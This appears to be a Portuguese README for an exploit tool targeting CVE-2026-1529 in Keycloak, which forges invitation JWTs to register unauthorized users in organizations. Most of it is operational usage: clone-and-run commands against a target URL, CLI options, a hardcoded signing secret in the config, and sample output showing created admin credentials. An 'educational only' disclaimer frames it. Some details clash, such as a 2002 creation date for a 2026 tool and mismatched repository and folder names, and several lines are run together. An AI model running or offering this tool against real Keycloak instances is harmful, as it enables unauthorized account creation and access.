
Ferramenta de exploração para CVE-2026-1529, demonstrando registro não autorizado de organização no Keycloak por meio de manipulação de token JWT. Inclui geração de token, manipulação e registro de usuário com geração de relatório.
Keycloak: Registro não autorizado em organização via validação inadequada de token de convite
Esta ferramenta é apenas para fins educacionais e de teste de segurança. Use somente em sistemas nos quais você tenha permissão explícita para testar. O acesso não autorizado a sistemas de computador é ilegal e antiético. Os autores desta ferramenta não são responsáveis por qualquer uso indevido ou dano causado por este software.
Criado por: f3ds cr3w est, 2002
CVE-2026-1529 é uma vulnerabilidade crítica no Keycloak que permite registro não autorizado em organizações por meio de validação inadequada de token de convite. Esta ferramenta de exploração demonstra a vulnerabilidade manipulando tokens JWT para registrar usuários em organizações não autorizadas.
A vulnerabilidade existe no processo de validação de tokens JWT para convites de organizações. Atacantes podem manipular os campos org_id e email no payload do JWT, permitindo que registrem usuários em qualquer organização sem autorização adequada.
git clone https://github.com/ninjazan420/CVE-2026-1529-PoC-keycloak-unauthorized-registration-via-improper-invitation-token-validation
cd CVE-2026-1529-POC
pip install -r requirements.txt
chmod +x keycloak-exploit.py
# Uso padrão com URL alvo
python keycloak-exploit.py https://target-keycloak.com
# Mostrar ajuda
python keycloak-exploit.py -h
# Mostrar versão
python keycloak-exploit.py -v
# Usar token de convite personalizado
python keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 https://target-keycloak.com
# Usar ID de organização personalizado
python keycloak-exploit.py -o custom_org_id https://target-keycloak.com
# Usar arquivo de configuração personalizado
python keycloak-exploit.py -c custom_config.json https://target-keycloak.com
# Habilitar registro de depuração
python keycloak-exploit.py -d https://target-keycloak.com
| Opção | Descrição | Obrigatório |
|---|---|---|
target | URL alvo do Keycloak (IP ou domínio) | Sim |
-t, --token | Token de convite personalizado a ser usado | Não |
-o, --org-id | ID de organização personalizado | Não |
-c, --config | Caminho para o arquivo de configuração | Não |
-d, --debug | Habilitar registro de depuração | Não |
-v, --version | Mostrar informações de versão | Não |
-h, --help | Mostrar mensagem de ajuda | Não |
Quando a exploração é bem-sucedida, você verá uma saída como:
=============================================================
CVE-2026-1529 RESULTADOS DA EXPLORAÇÃO
=============================================================
✓ O alvo é vulnerável a CVE-2026-1529
🎯 EXPLORAÇÃO BEM-SUCEDIDA!
Nome de usuário: admin_user_2026
Senha: KeycloakCVE2026!
E-mail: [email protected]
Link de Login: https://target-keycloak.com/realms/master/account
📄 Relatório salvo em: output/reports/exploit_report_20260210_134556.txt
🔐 Use as credenciais fornecidas para acessar a instância do Keycloak!
⚠️ Isso demonstra acesso não autorizado devido a CVE-2026-1529
=============================================================
por f3ds cr3w est, 2002
=============================================================
Se a exploração falhar, você verá:
=============================================================
CVE-2026-1529 RESULTADOS DA EXPLORAÇÃO
=============================================================
✗ O alvo não é vulnerável
❌ EXPLORAÇÃO FALHOU!
Verifique os logs para detalhes: logs/exploit.log
CVE-2026-1529-POC/
├── keycloak-exploit.py # Script principal de exploração
├── requirements.txt # Dependências Python
├── README.md # Este arquivo
├── config/
│ └── default_config.json # Configuração padrão
├── utils/
│ ├── jwt_utils.py # Utilitários de manipulação JWT
│ ├── http_utils.py # Utilitários de cliente HTTP
│ └── crypto_utils.py # Utilitários criptográficos
├── output/
│ ├── logs/ # Arquivos de log
│ └── reports/ # Relatórios de exploração
A ferramenta usa um arquivo de configuração padrão (config/default_config.json) com as seguintes configurações:
{
"exploit": {
"default_username": "admin_user_2026",
"default_password": "KeycloakCVE2026!",
"default_email": "[email protected]",
"timeout": 30,
"max_retries": 3
},
"jwt": {
"algorithm": "HS256",
"secret_key": "keycloak-cve-2026-1529-exploit",
"token_expiry": 3600
},
"target": {
"endpoints": {
"realms": "/realms",
"organizations": "/organizations",
"register": "/register",
"login": "/login"
}
},
"output": {
"log_level": "INFO",
"save_reports": true,
"report_format": "txt"
}
}
Você pode criar um arquivo de configuração personalizado e usá-lo com a opção -c:
{
"exploit": {
"default_username": "custom_user",
"default_password": "CustomPassword123!",
"default_email": "[email protected]",
"timeout": 60,
"max_retries": 5
},
"jwt": {
"algorithm": "HS256",
"secret_key": "custom-secret-key",
"token_expiry": 7200
}
}
A ferramenta explora a validação inadequada de JWT:
org_id para direcionar uma organização diferenteemail se necessárioErros de Conexão
Erros de Validação de Token
org_id, email, invitation_type)Falhas de Registro
Habilite o registro de depuração para solução de problemas detalhada:
python keycloak-exploit.py -d https://target-keycloak.com
logs/exploit.logoutput/reports/exploit_report_YYYYMMDD_HHMMSS.txtA ferramenta realiza as seguintes verificações:
A exploração é considerada bem-sucedida se:
Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança. Use por sua conta e risco.
Criado por: f3ds cr3w est, 2002
Contato: Para perguntas ou feedback, consulte o repositório do projeto.
Lembre-se: Com grandes poderes vêm grandes responsabilidades. Use esta ferramenta com sabedoria e ética.
por f3ds cr3w est, 2002